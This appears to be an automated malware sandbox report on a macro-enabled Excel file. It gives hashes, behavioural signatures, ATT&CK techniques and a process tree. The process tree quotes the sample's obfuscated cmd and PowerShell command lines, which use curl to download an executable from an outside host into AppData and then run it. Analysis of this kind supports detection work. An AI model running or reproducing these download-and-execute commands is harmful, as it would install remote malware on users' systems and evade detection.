Overview

overview

10

Static

static

8

d5af062816...f.xlsm

windows7_x64

10

d5af062816...f.xlsm

windows10_x64

10

Analysis

  • max time kernel
    123s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-05-2021 16:46

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General

  • Target

    d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm

  • Size

    85KB

  • MD5

    7a45941305a7b20939257f9fdd30f39d

  • SHA1

    d689973704061d25b928229352db2a5394c2f52c

  • SHA256

    d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f

  • SHA512

    45d3ff42e59db13969adf069dbb7017ba5b349377dadcc18ac445f9aff0561a15cc3b54ab83818e64f175b9ca2ab7548d6a9059aaffa7ed0ddf62aa99cafd10e

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%appdata%\AyBtH.exe
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Roaming\AyBtH.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1548
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c c^u^r^l.exe --output %appdata%\AyBtH.exe --url https://buydomainnameuk.com/css/bin2.exe
      2⤵
      • Process spawned unexpected child process
      PID:360

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/360-180-0x0000000000000000-mapping.dmp
    Download
  • memory/1404-122-0x00007FF8A2AE0000-0x00007FF8A3BCE000-memory.dmp
    Filesize

    16.9MB

    Download
  • memory/1404-116-0x00007FF882460000-0x00007FF882470000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1404-117-0x00007FF882460000-0x00007FF882470000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1404-118-0x00007FF882460000-0x00007FF882470000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1404-119-0x00007FF882460000-0x00007FF882470000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1404-114-0x00007FF666CC0000-0x00007FF66A276000-memory.dmp
    Filesize

    53.7MB

    Download
  • memory/1404-123-0x00007FF8A0BE0000-0x00007FF8A2AD5000-memory.dmp
    Filesize

    31.0MB

    Download
  • memory/1404-115-0x00007FF882460000-0x00007FF882470000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1548-181-0x0000000000000000-mapping.dmp
    Download
  • memory/1548-182-0x0000018EA8B20000-0x0000018EA8B22000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-183-0x0000018EA8B23000-0x0000018EA8B25000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-184-0x0000018EA8B26000-0x0000018EA8B28000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1816-179-0x0000000000000000-mapping.dmp
    Download